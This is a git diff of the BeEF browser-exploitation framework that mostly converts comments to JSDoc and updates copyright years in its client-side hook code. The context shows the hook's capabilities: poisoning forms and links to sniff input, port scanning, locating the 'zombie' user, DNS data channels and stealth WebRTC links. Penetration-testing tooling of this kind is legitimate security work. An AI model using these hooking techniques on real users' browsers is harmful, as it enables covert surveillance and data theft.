* @params: {String} commands: protocol commands to be executed by the remote host:port service + * @param {String} rhost: remote host ip/domain + * @param {String} rport: remote port + * @param {String} commands: protocol commands to be executed by the remote host:port service */ createIframeIpecForm: function(rhost, rport, path, commands){ var iframeIpec = beef.dom.createInvisibleIframe(); diff --git a/core/main/client/encode/base64.js b/core/main/client/encode/base64.js index 2725ea884..bb02c9ef9 100644 --- a/core/main/client/encode/base64.js +++ b/core/main/client/encode/base64.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // @@ -8,10 +8,18 @@ beef.encode = {}; +/** + * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662 + * @namespace beef.encode.base64 + */ beef.encode.base64 = { keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - + /** + * @memberof beef.encode.base64 + * @param {string} input + * @return {string} + */ encode : function (input) { if (window.btoa) { return btoa(unescape(encodeURIComponent(input))); @@ -49,7 +57,11 @@ beef.encode.base64 = { return output; }, - + /** + * @memberof beef.encode.base64 + * @param {string} input + * @return {string} + */ decode : function (input) { if (window.atob) { return escape(atob(input)); @@ -90,8 +102,12 @@ beef.encode.base64 = { }, - - utf8_encode : function (string) { + /** + * @memberof beef.encode.base64 + * @param {string} string + * @return {string} + */ + utf8_encode : function (string) { string = string.replace(/\r\n/g,"\n"); var utftext = ""; @@ -116,7 +132,11 @@ beef.encode.base64 = { return utftext; }, - + /** + * @memberof beef.encode.base64 + * @param {string} utftext + * @return {string} + */ utf8_decode : function (utftext) { var string = ""; var i = 0; diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js index 6fa2d124e..fb48cd901 100644 --- a/core/main/client/encode/json.js +++ b/core/main/client/encode/json.js @@ -1,13 +1,19 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/ +/** + * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/ + * @namespace beef.encode.json + */ beef.encode.json = { - + /** + * @memberof beef.encode.json + * @param o + */ stringify: function(o) { if (typeof(JSON) == 'object' && JSON.stringify) { // Error on stringifying cylcic structures caused polling to die @@ -97,7 +103,10 @@ beef.encode.json = { return "{" + pairs.join(", ") + "}"; } }, - + /** + * @memberof beef.encode.json + * @param string + */ quoteString: function(string) { if (string.match(this._escapeable)) { diff --git a/core/main/client/geolocation.js b/core/main/client/geolocation.js index 86bb67d02..0b9d7f963 100644 --- a/core/main/client/geolocation.js +++ b/core/main/client/geolocation.js @@ -1,25 +1,30 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.geolocation - * +/** * Provides functionalities to use the geolocation API. + * @namespace beef.geolocation */ + beef.geolocation = { /** - * check if browser supports the geolocation API + * Check if browser supports the geolocation API + * @return {boolean} */ isGeolocationEnabled: function(){ return !!navigator.geolocation; }, - /* - * given latitude/longitude retrieves exact street position of the zombie + /** + * Given latitude/longitude retrieves exact street position of the zombie + * @param command_url + * @param command_id + * @param latitude + * @param longitude */ getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){ @@ -56,8 +61,10 @@ beef.geolocation = { }, - /* - * retrieve latitude/longitude using the geolocation API + /** + * Retrieve latitude/longitude using the geolocation API + * @param command_url + * @param command_id */ getGeolocation: function (command_url, command_id){ diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js index 5db635987..f66e2a840 100644 --- a/core/main/client/hardware.js +++ b/core/main/client/hardware.js @@ -1,16 +1,20 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // +/** + * @namespace beef.hardware + */ + beef.hardware = { ua: navigator.userAgent, - /* - * @return: {String} CPU type - **/ + /** + * @return {String} CPU type + */ getCpuArch: function() { var arch = 'UNKNOWN'; // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested @@ -39,7 +43,8 @@ beef.hardware = { /** * Returns number of CPU cores - **/ + * @return {String} + */ getCpuCores: function() { var cores = 'unknown'; try { @@ -54,7 +59,8 @@ beef.hardware = { /** * Returns CPU details - **/ + * @return {String} + */ getCpuDetails: function() { return { arch: beef.hardware.getCpuArch(), @@ -64,7 +70,8 @@ beef.hardware = { /** * Returns GPU details - **/ + * @return {object} + */ getGpuDetails: function() { var gpu = 'unknown'; var vendor = 'unknown'; @@ -98,7 +105,8 @@ beef.hardware = { /** * Returns RAM (GiB) - **/ + * @return {String} + */ getMemory: function() { var memory = 'unknown'; try { @@ -113,7 +121,8 @@ beef.hardware = { /** * Returns battery details - **/ + * @return {Object} + */ getBatteryDetails: function() { var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery; @@ -136,6 +145,7 @@ beef.hardware = { /** * Returns zombie screen size and color depth. + * @return {Object} */ getScreenSize: function () { return { @@ -145,17 +155,19 @@ beef.hardware = { } }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is touch enabled? + * @return {Boolean} true or false. + */ isTouchEnabled: function() { if ('ontouchstart' in document) return true; return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is virtual machine? + * @return {Boolean} true or false. + */ isVirtualMachine: function() { if (this.getGpuDetails().vendor.match('VMware, Inc')) return true; @@ -171,9 +183,10 @@ beef.hardware = { return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is a Laptop? + * @return {Boolean} true or false. + */ isLaptop: function() { if (this.isMobileDevice()) return false; // Most common laptop screen resolution @@ -183,64 +196,70 @@ beef.hardware = { return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Nokia? + * @return {Boolean} true or false. + */ isNokia: function() { return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Zune? + * @return {Boolean} true or false. + */ isZune: function() { return (this.ua.match('ZuneWP7')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is HTC? + * @return {Boolean} true or false. + */ isHtc: function() { return (this.ua.match('HTC')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Ericsson? + * @return {Boolean} true or false. + */ isEricsson: function() { return (this.ua.match('Ericsson')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Motorola? + * @return {Boolean} true or false. + */ isMotorola: function() { return (this.ua.match('Motorola')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Google? + * @return {Boolean} true or false. + */ isGoogle: function() { return (this.ua.match('Nexus One')) ? true : false; }, /** * Returns true if the browser is on a Mobile device - * @return: {Boolean} true or false + * @return {Boolean} true or false * * @example: if(beef.hardware.isMobileDevice()) { ... } - **/ + */ isMobileDevice: function() { return MobileEsp.DetectMobileQuick(); }, /** * Returns true if the browser is on a game console - * @return: {Boolean} true or false + * @return {Boolean} true or false * * @example: if(beef.hardware.isGameConsole()) { ... } - **/ + */ isGameConsole: function() { return MobileEsp.DetectGameConsole(); }, diff --git a/core/main/client/init.js b/core/main/client/init.js index cad61e92d..389020f36 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -1,17 +1,18 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** - * @literal object: beef.init * Contains the beef_init() method which starts the BeEF client-side * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object. * * If beef.pageIsLoaded is true, then this JS has been loaded >1 times * and will have a new session id. The new session id will need to know * the brwoser details. So sendback the browser details again. + * + * @namespace beef.init */ beef.session.get_hook_session_id(); @@ -19,11 +20,15 @@ beef.session.get_hook_session_id(); if (beef.pageIsLoaded) { beef.net.browser_details(); } - +/** + * @memberof beef.init + */ window.onload = function () { beef_init(); }; - +/** + * @memberof beef.init + */ window.onpopstate = function (event) { if (beef.onpopstate.length > 0) { event.preventDefault; @@ -38,7 +43,9 @@ window.onpopstate = function (event) { } } }; - +/** + * @memberof beef.init + */ window.onclose = function (event) { if (beef.onclose.length > 0) { event.preventDefault; @@ -60,6 +67,7 @@ window.onclose = function (event) { * - the polling starts (checks for new commands, and execute them) * - the logger component is initialized (see logger.js) * - the Autorun Engine is initialized (see are.js) + * @memberof beef.init */ function beef_init() { if (!beef.pageIsLoaded) { diff --git a/core/main/client/lib/browser_jools.js b/core/main/client/lib/browser_jools.js index 9668bb23d..d3c70e69f 100644 --- a/core/main/client/lib/browser_jools.js +++ b/core/main/client/lib/browser_jools.js @@ -1,3 +1,12 @@ +/** + * @namespace browser_jools + */ + +/** + * @memberof browser_jools + * @param file + * @param cwd + */ var require = function (file, cwd) { var resolved = require.resolve(file, cwd || '/'); var mod = require.modules[resolved]; @@ -19,7 +28,9 @@ require._core = { 'path': true, 'vm': true }; - +/** + * @memberof browser_jools + */ require.resolve = (function () { return function (x, cwd) { if (!cwd) cwd = '/'; @@ -104,7 +115,9 @@ require.resolve = (function () { } }; })(); - +/** + * @memberof browser_jools + */ require.alias = function (from, to) { var path = require.modules.path(); var res = null; @@ -133,7 +146,9 @@ require.alias = function (from, to) { } } }; - +/** + * @memberof browser_jools + */ require.define = function (filename, fn) { var dirname = require._core[filename] ? '' @@ -215,10 +230,15 @@ function filter (xs, fn) { return res; } -// resolves . and .. elements in a path array with directory names there -// must be no slashes, empty elements, or device names (c:\) in the array -// (so also no leading and trailing slashes - it does not distinguish -// relative and absolute paths) +/** + * resolves . and .. elements in a path array with directory names there + * must be no slashes, empty elements, or device names (c:\) in the array + * (so also no leading and trailing slashes - it does not distinguish + * relative and absolute paths) + * @memberof browser_jools + * @param parts + * @param allowAboveRoot + */ function normalizeArray(parts, allowAboveRoot) { // if the path tries to go above the root, `up` ends up > 0 var up = 0; @@ -357,6 +377,7 @@ var utils = require('./utils') /** * version + * @memberof browser_jools */ exports.version = '0.0.1'; @@ -367,7 +388,7 @@ exports.version = '0.0.1'; * - Descriptive name * - One or more conditions * - One or more consequences, which are fired when all conditions evaluate to true. - * + * @memberof browser_jools * @param {Object} rules */ function Jools(rules) { @@ -426,7 +447,7 @@ module.exports = Jools; require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) { /** * Returns an array of parameter names of the function f - * + * @memberof browser_jools * @param {Function} f */ module.exports.paramNames = function (f) { @@ -443,7 +464,7 @@ module.exports.paramNames = function (f) { /** * Creates an array of arguments - * + * @memberof browser_jools * @param {Object} obj * @param {Array} params */ diff --git a/core/main/client/lib/evercookie.js b/core/main/client/lib/evercookie.js index 1b92dbd59..9433ee9a1 100644 --- a/core/main/client/lib/evercookie.js +++ b/core/main/client/lib/evercookie.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/core/main/client/lib/platform.js b/core/main/client/lib/platform.js index 937504a45..f1c159c74 100644 --- a/core/main/client/lib/platform.js +++ b/core/main/client/lib/platform.js @@ -1,8 +1,9 @@ -/*! +/** * Platform.js * Copyright 2014-2018 Benjamin Tan * Copyright 2011-2013 John-David Dalton * Available under MIT license + * @namespace platform */ ;(function() { 'use strict'; @@ -1032,7 +1033,7 @@ /** * The platform object. * - * @name platform + * @memberof platform * @type Object */ var platform = {}; diff --git a/core/main/client/logger.js b/core/main/client/logger.js index 633afbf6c..e468c3688 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -1,13 +1,12 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.logger - * +/** * Provides logging capabilities. + * @namespace beef.logger */ beef.logger = { diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js index 9fa44723e..007bd7612 100644 --- a/core/main/client/mitb.js +++ b/core/main/client/mitb.js @@ -1,15 +1,18 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // - +/** + * @namespace beef.mitb + */ beef.mitb = { cid:null, curl:null, + /** Initializes */ init:function (cid, curl) { beef.mitb.cid = cid; beef.mitb.curl = curl; @@ -61,7 +64,7 @@ beef.mitb = { } }, - // Initializes the hook on anchors and forms. + /** Initializes the hook on anchors and forms. */ hook:function () { beef.onpopstate.push(function (event) { beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]); @@ -92,7 +95,7 @@ beef.mitb = { } }, - // Hooks anchors and prevents them from linking away + /** Hooks anchors and prevents them from linking away */ poisonAnchor:function (e) { try { e.preventDefault; @@ -111,7 +114,7 @@ beef.mitb = { return false; }, - // Hooks forms and prevents them from linking away + /** Hooks forms and prevents them from linking away */ poisonForm:function (form) { form.onsubmit = function (e) { @@ -154,7 +157,7 @@ beef.mitb = { } }, - // Fetches a hooked form with AJAX + /** Fetches a hooked form with AJAX */ fetchForm:function (url, query, target) { try { var y = new XMLHttpRequest(); @@ -174,7 +177,7 @@ beef.mitb = { } }, - // Fetches a hooked link with AJAX + /** Fetches a hooked link with AJAX */ fetch:function (url, target) { try { var y = new XMLHttpRequest(); @@ -195,7 +198,7 @@ beef.mitb = { } }, - // Fetches a window.location=http://domainname.com and setting up history + /** Fetches a window.location=http://domainname.com and setting up history */ fetchOnclick:function (url) { try { var target = document.getElementsByTagName("html")[0]; @@ -225,7 +228,7 @@ beef.mitb = { } }, - // Relays an entry to the framework + /** Relays an entry to the framework */ sniff:function (result) { try { beef.net.send(beef.mitb.cid, beef.mitb.curl, result); @@ -234,7 +237,7 @@ beef.mitb = { return true; }, - // Signals the Framework that the user has lost the hook + /** Signals the Framework that the user has lost the hook */ endSession:function () { beef.mitb.sniff("Window closed."); } diff --git a/core/main/client/net.js b/core/main/client/net.js index 129e23eb3..fef4945d1 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -1,12 +1,10 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net - * +/** * Provides basic networking functions, * like beef.net.request and beef.net.forgeRequest, * used by BeEF command modules and the Requester extension, @@ -15,6 +13,8 @@ * * Also, it contains the core methods used by the XHR-polling * mechanism (flush, queue) + * @namespace beef.net + * */ beef.net = { @@ -82,11 +82,11 @@ beef.net = { /** * Queues the specified command results. - * @param: {String} handler: the server-side handler that will be called - * @param: {Integer} cid: command id - * @param: {String} results: the data to send - * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') - * @param: {Function} callback: the function to call after execution + * @param {String} handler the server-side handler that will be called + * @param {Integer} cid command id + * @param {String} results the data to send + * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') + * @param {Function} callback the function to call after execution */ queue: function (handler, cid, results, status, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { @@ -105,12 +105,12 @@ beef.net = { * NOTE: Always send Browser Fingerprinting results * (beef.net.browser_details(); -> /init handler) using normal XHR-polling, * even if WebSockets are enabled. - * @param: {String} handler: the server-side handler that will be called - * @param: {Integer} cid: command id - * @param: {String} results: the data to send - * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') - * @param: {Function} callback: the function to call after execution - * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null) + * @param {String} handler the server-side handler that will be called + * @param {Integer} cid command id + * @param {String} results the data to send + * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') + * @param {Function} callback the function to call after execution + * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null) */ send: function (handler, cid, results, exec_status, callback) { // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status @@ -173,8 +173,8 @@ beef.net = { /** * Split the input data into chunk lengths determined by the amount parameter. - * @param: {String} str: the input data - * @param: {Integer} amount: chunk length + * @param {String} str the input data + * @param {Integer} amount chunk length */ chunk: function (str, amount) { if (typeof amount == 'undefined') n = 2; @@ -184,7 +184,7 @@ beef.net = { /** * Push the input stream back to the BeEF server-side components. * It uses beef.net.request to send back the data. - * @param: {Object} stream: the stream object to be sent back. + * @param {Object} stream the stream object to be sent back. */ push: function (stream, callback) { //need to implement wait feature here eventually @@ -203,18 +203,18 @@ beef.net = { /** * Performs http requests - * @param: {String} scheme: HTTP or HTTPS - * @param: {String} method: GET or POST - * @param: {String} domain: bindshell.net, 192.168.3.4, etc - * @param: {Int} port: 80, 5900, etc - * @param: {String} path: /path/to/resource - * @param: {String} anchor: this is the value that comes after the # in the URL - * @param: {String} data: This will be used as the query string for a GET or post data for a POST - * @param: {Int} timeout: timeout the request after N seconds - * @param: {String} dataType: specify the data return type expected (ie text/html/script) - * @param: {Function} callback: call the callback function at the completion of the method + * @param {String} scheme HTTP or HTTPS + * @param {String} method GET or POST + * @param {String} domain bindshell.net, 192.168.3.4, etc + * @param {Int} port 80, 5900, etc + * @param {String} path /path/to/resource + * @param {String} anchor this is the value that comes after the # in the URL + * @param {String} data This will be used as the query string for a GET or post data for a POST + * @param {Int} timeout timeout the request after N seconds + * @param {String} dataType specify the data return type expected (ie text/html/script) + * @param {Function} callback call the callback function at the completion of the method * - * @return: {Object} response: this object contains the response details + * @return {Object} this object contains the response details */ request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { //check if same domain or cross domain @@ -307,7 +307,7 @@ beef.net = { return response; }, - /* + /** * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests: * - requestid: needed on the callback * - allowCrossDomain: set cross-domain requests as allowed or blocked @@ -490,8 +490,9 @@ beef.net = { return response; }, - //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} - //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ + /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} + * http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ + */ clean: function (r) { if (this.array_has_string_key(r)) { var obj = {}; @@ -502,7 +503,7 @@ beef.net = { return r; }, - //Detects if an array has a string key + /** Detects if an array has a string key */ array_has_string_key: function (arr) { if ($j.isArray(arr)) { try { diff --git a/core/main/client/net/connection.js b/core/main/client/net/connection.js index 6ede47a49..b3266269e 100644 --- a/core/main/client/net/connection.js +++ b/core/main/client/net/connection.js @@ -1,19 +1,22 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -// beef.net.connection - wraps Mozilla's Network Information API -// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation -// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection +/** + * beef.net.connection - wraps Mozilla's Network Information API + * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation + * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection + * @namespace beef.net.connection + */ beef.net.connection = { - /* Returns the connection type - * @example: beef.net.connection.type() - * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type - * @return: {String} connection type or 'unknown'. - **/ + /** + * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type + * @example beef.net.connection.type() + * @return {String} connection type or 'unknown'. + */ type: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; @@ -25,11 +28,11 @@ beef.net.connection = { } }, - /* Returns the maximum downlink speed of the connection - * @example: beef.net.connection.downlinkMax() - * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax - * @return: {String} downlink max or 'unknown'. - **/ + /** + * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax + * @example beef.net.connection.downlinkMax() + * @return {String} downlink max or 'unknown'. + */ downlinkMax: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; diff --git a/core/main/client/net/cors.js b/core/main/client/net/cors.js index 7bb861d64..3be3ce5fe 100644 --- a/core/main/client/net/cors.js +++ b/core/main/client/net/cors.js @@ -1,3 +1,7 @@ +/** + * @namespace beef.net.cors + */ + beef.net.cors = { handler: "cors", diff --git a/core/main/client/net/dns.js b/core/main/client/net/dns.js index 411fe5688..dd33af754 100644 --- a/core/main/client/net/dns.js +++ b/core/main/client/net/dns.js @@ -1,23 +1,29 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.dns +/** * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. + * @namespace beef.net.dns */ beef.net.dns = { handler: "dns", - + /** + * + * @param msgId + * @param data + * @param domain + * @param callback + */ send: function(msgId, data, domain, callback) { var encode_data = function(str) { diff --git a/core/main/client/net/local.js b/core/main/client/net/local.js index a61525b3b..50e4410a1 100644 --- a/core/main/client/net/local.js +++ b/core/main/client/net/local.js @@ -1,13 +1,12 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.local - * +/** * Provides networking functions for the local/internal network of the zombie. + * @namespace beef.net.local */ beef.net.local = { @@ -22,7 +21,6 @@ beef.net.local = { * is invalid: * sock: new java.net.Socket(); */ - initializeSocket: function() { if(this.checkJava){ if(!beef.browser.hasJava()) { @@ -50,8 +48,8 @@ beef.net.local = { /** * Returns the internal IP address of the zombie. - * @return: {String} the internal ip of the zombie. - * @error: return -1 if the internal ip cannot be retrieved. + * @return {String} the internal ip of the zombie. + * @error return -1 if the internal ip cannot be retrieved. */ getLocalAddress: function() { if(!this.hasJava) return false; @@ -68,8 +66,8 @@ beef.net.local = { /** * Returns the internal hostname of the zombie. - * @return: {String} the internal hostname of the zombie. - * @error: return -1 if the hostname cannot be retrieved. + * @return {String} the internal hostname of the zombie. + * @error return -1 if the hostname cannot be retrieved. */ getLocalHostname: function() { if(!this.hasJava) return false; diff --git a/core/main/client/net/portscanner.js b/core/main/client/net/portscanner.js index 767274ed9..8c97d0467 100644 --- a/core/main/client/net/portscanner.js +++ b/core/main/client/net/portscanner.js @@ -1,21 +1,27 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.portscanner - * +/** * Provides port scanning functions for the zombie. A mod of pdp's scanner * * Version: '0.1', * author: 'Petko Petkov', * homepage: 'http://www.gnucitizen.org' + * @namespace beef.net.portscanner */ beef.net.portscanner = { + /** + * + * @param callback + * @param target + * @param port + * @param timeout + */ scanPort: function(callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; @@ -38,7 +44,13 @@ beef.net.portscanner = { }, timeout); }, - + /** + * + * @param callback + * @param target + * @param ports_str + * @param timeout + */ scanTarget: function(callback, target, ports_str, timeout) { var ports = ports_str.split(","); diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 00a155ffd..2b7969784 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -1,23 +1,25 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.requester - * +/** * request object structure: * + method: {String} HTTP method to use (GET or POST). * + host: {String} hostname * + query_string: {String} The query string is a part of the URL which is passed to the program. * + uri: {String} The URI syntax consists of a URI scheme name. * + headers: {Array} contain the operating parameters of the HTTP request. + * @namespace beef.net.requester */ beef.net.requester = { handler: "requester", - + /** + * + * @param {array} requests_array + */ send: function(requests_array) { for(var i=0; i", + /** XHR-polling timeout. */ + xhr_poll_timeout: "<%= @xhr_poll_timeout %>", + + /** Hook session name. */ beefhook: "<%= @hook_session_name %>", - // A lock. + /** A lock. */ lock: false, - // An object containing all values to be registered and sent by the updater. + /** An object containing all values to be registered and sent by the updater. */ objects: new Object(), - /* + /** * Registers an object to always send when requesting new commands to the framework. - * @param: {String} the name of the object. - * @param: {String} the value of that object. + * @param {String} key the name of the object. + * @param {String} value the value of that object. * - * @example: beef.updater.regObject('java_enabled', 'true'); + * @example beef.updater.regObject('java_enabled', 'true'); */ regObject: function(key, value) { this.objects[key] = escape(value); diff --git a/core/main/client/webrtc.js b/core/main/client/webrtc.js index b4b618307..2882217ca 100644 --- a/core/main/client/webrtc.js +++ b/core/main/client/webrtc.js @@ -1,13 +1,11 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** - * @Literal object: beef.webrtc - * * Manage the WebRTC peer to peer communication channels. * This objects contains all the necessary client-side WebRTC components, * allowing browsers to use WebRTC to communicate with each other. @@ -19,21 +17,43 @@ * the signalling. * * This is all mostly a Proof of Concept + * @namespace beef.webrtc */ -beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects - // The key is the peer id -globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects - // these objects persist outside of everything else - // The key is the peer id -rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain: - // false - i.e not stealthed; or - // - i.e. the id of the browser which initiated stealth mode -rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these - // The key is the peer id +/** + * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. + * @memberof beef.webrtc +*/ +beefrtcs = {}; +/** + * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects + * these objects persist outside of everything else. The key is the peer id. + * @memberof beef.webrtc + */ +globalrtc = {}; +/** + * stealth should only be initiated from one peer - this global variable will contain: + * false - i.e not stealthed; or + * - i.e. the id of the browser which initiated stealth mode + * @memberof beef.webrtc + */ +rtcstealth = false; +/** + * To handle multiple event channels - we need to have a global hash of these. The key is the peer id + * @memberof beef.webrtc +*/ +rtcrecvchan = {}; -// Beefwebrtc object - wraps everything together for a peer connection -// One of these per peer connection, and will be stored in the beefrtc global hash +/** + * Beefwebrtc object - wraps everything together for a peer connection + * One of these per peer connection, and will be stored in the beefrtc global hash + * @memberof beef.webrtc + * @param initiator + * @param peer + * @param turnjson + * @param stunservers + * @param verbparam + */ function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) { this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver @@ -59,7 +79,10 @@ function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) { // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"] } -// Initialize the object +/** + * Initialize the object + * @memberof beef.webrtc + */ Beefwebrtc.prototype.initialize = function() { if (this.peerid == null) { return 0; // no peerid - NO DICE @@ -88,8 +111,11 @@ Beefwebrtc.prototype.initialize = function() { return 1; // because .. yeah .. we had a peerid - this is good yar. } -//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) -//These values are now simply passed in from the config.yaml for the webrtc extension +/** + * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) + * These values are now simply passed in from the config.yaml for the webrtc extension + * @memberof beef.webrtc + */ Beefwebrtc.prototype.forceTurn = function(jason) { var turnServer = JSON.parse(jason); var iceServers = createIceServers(turnServer.uris, @@ -103,7 +129,10 @@ Beefwebrtc.prototype.forceTurn = function(jason) { this.maybeStart(); } -// Try and establish the RTC connection +/** + * Try and establish the RTC connection + * @memberof beef.webrtc + */ Beefwebrtc.prototype.createPeerConnection = function() { beef.debug('Creating RTCPeerConnnection with the following options:\n' + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + @@ -129,7 +158,10 @@ 